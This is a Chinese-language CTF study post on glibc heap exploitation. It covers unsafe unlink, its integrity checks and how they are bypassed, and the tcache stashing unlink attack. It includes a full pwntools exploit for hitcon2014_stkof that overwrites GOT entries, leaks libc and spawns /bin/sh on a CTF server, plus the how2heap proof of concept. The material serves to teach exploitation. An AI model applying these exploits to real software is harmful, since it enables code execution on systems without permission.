不安全的unlink

以下知识摘自《CTF竞赛权威指南 Pwn篇》、CTF-Wiki

不安全的 unlink

为了避免堆内存的过度碎片化,当一个堆块(非fastbin chunk)被释放时,libc会查看其前后堆块是否处于被释放的状态,如果是,则将前面或后面的堆块从bins链取出来,与当前释放堆块合并,这个取出堆块的过程就叫做 unlink

基本过程如下图所示

上述的操作进行了如下的赋值

  • *( fd + 0x18 ) = bk

  • *( bk + 0x10 ) = fd

unlink中的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \

// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)",P, AV); \

要利用unlink首先要绕过上面提到的两个检查:

  1. size检查:

    在堆中有两个地方存储了P的size:第一个是当前P->size,第二个是next_chunk->prev_size,比较两者大小

  2. fd和bk检查:

    检查P是否在双向链表中,在双向链表中有两个指针指向P:第一个是FD->bk,第二个是BK->fd

在libc-2.27.so版本,要先填满tcache bin

第一种思路

利用条件

  1. 存在UAF可以修改P的fd和bk
  2. 存在一个指针指向P

利用方法

  1. 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
  2. free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。

在这里插入图片描述

第二种思路

利用条件

  1. 可以修改p的下一个chunk->pre_size和inuse位
  2. 存在一个指针指向chunk p的内容部分

利用方法

  1. 伪造fake_chunk:fakechunk->size=chunk0-0x10,可以绕过size检查

    fakechunk->fd=&G_ptr-0x18,fakechunk->bk = &G_ptr->0x10,绕过fd和bk检查

  2. 修改下一个chunk的prev_size=chunksize-0x10。因为fakechunk比chunk0小0x10

  3. 修改下一个chunk的inuse位

  4. free下一个堆块chunk1。fake chunk和chunk1合并,fake chunk发生unlink,修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写

在这里插入图片描述

例题hitcon2014_stkof

image-20210831204845498

常规checksec一下,64位,开了NX、Canary

image-20210831211106261

进入IDA,额,有个选项为4的功能似乎并没有作用,然后溢出点存在与修改函数中,对于我们能修改的长度是不存在什么限制的,所以能很轻易的造成堆溢出

题目没开PIE,所以堆结构的地址是已知的,整个程序不存在打印功能。这边的思路是:

先通过unlink把堆结构上的堆指针改为在堆结构前的地址,从而可以控制堆结构,达成任意写;然后先修改 s[1] = free@got 地址,同时修改 s[2] = puts@got 地址;再一次编辑,实现覆写free@got为puts@plt,从而当调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。然后free(s[2]),相当于执行了puts(puts@got)通过puts泄露puts@got的值,获得libc基地址,然后就可以获得system;最后修改再把free@got修改为system,对着写有/bin/sh\x00的堆块释放

image-20210831213326412

首先,这边第一个申请的chunk是不能被使用的,由于程序本身没有进行 setvbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,所以我们在前面先分配一个 chunk 来把缓冲区分配完毕,以免影响之后的操作。具体的看ctfwiki这题的IO 缓冲区问题分析。所以第一个堆块不能用来做fakechunk

所以这边进行创造fake_chunk要注意!首先,堆块的索引从1开始;其次第一个不能用,所以我们要从堆结构的第二个地方作为地址

image-20210831214046823

image-20210831214232302

触发unlink,造成合并,同时堆结构指针的值被改为其地址 - 0x18

然后就是按照思路所说的,去修改堆结构即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./stkof")
#libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",28635)
def debug():
gdb.attach(p,"b main")

def add(size):
p.sendline('1')
p.sendline(str(size))

def edit(idx,content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)

def free(idx):
p.sendline('3')
p.sendline(str(idx))

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free_got=elf.got['free']


add(0x80) #1
add(0x80) #2
add(0x80) #3
add(0x80) #4 防止合并
ptr = 0x0000000000602150
fake_chunk = p64(0) + p64(0x81) #fake_chunk header
fake_chunk += p64(ptr - 0x18) + p64(ptr - 0x10) #fake_chunk fd bk
fake_chunk += 'a' * 0x60 + p64(0x80) + p64(0x90) #fake prev_size size
edit(2,fake_chunk)
free(3)
payload = p64(0) * 2 + p64(free_got) + p64(puts_got)
edit(2,payload)
edit(1,p64(puts_plt))
free(2)
p.recv(0x20)
libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.sym['puts']
log.success(hex(libc_base))
system = libc_base + libc.sym['system']
edit(1,p64(system))
edit(4,"/bin/sh\x00")
free(4)
p.interactive()

在 glibc2.29 以上版本,glibc 在 unlink 内加入了 prevsize check。当然这个检测对于上面的unlink攻击是没有影响的,影响的是offbynull的攻击利用,不能直接通过修改size来制造堆块重叠。下面是新的检测机制源码

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

具体关于offbynull带来的影响,可以移步我的另一篇博客offbyone&null

这是一个类unlink的攻击手法,利用版本从 glibc-2.27一直到最新的 glibc-2.34 仍然可以利用。

关键源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void *
_int_malloc (mstate av, size_t bytes) {
...
if (in_smallbin_range (nb)) {
...
if ((victim = last (bin)) != bin) {
...
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
//①: 如果tchace不满
if (tcache && tc_idx < mp_.tcache_bins) {
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//②: tcache不满且smallbin还有剩,则进入循环
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin) {
if (tc_victim != 0) {
//③: bk是攻击者控制的,故bck是目标地址附近的内存。这里没有double link check
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
//④: 一个目标地址的写操作
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
}
}
...
}

上面的源码过程总结为:

设需求的size为nb个字节;如果nb大小的tcache不满( 小于7 ),并且有2个以上nb大小的freed chunk 在smallbin中;在_int_malloc(av, nb)过程中,会尝试把剩下的nb大小的smallbin放到tcache中

可以通过下面的how2heap的poc进行深入的gdb调试学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

利用条件

1.smallbin中可以控制大小为size块的bk指针

2.tcache中大小为size块的个数为6

3.申请堆块是calloc

过程

  • 释放6个0x100的chunk到tcache bin中
  • 构造两个0x100的small bin(利用Unsorted bin或Large bin切割得到)
  • 修改后插入的small bin的 bk 指针为目标地址-0x10,且保持fd指针不变
  • 用calloc分配0x100的chunk

结果

  • 在目标地址上写入原本small bin上的 bk 指针内容
查看评论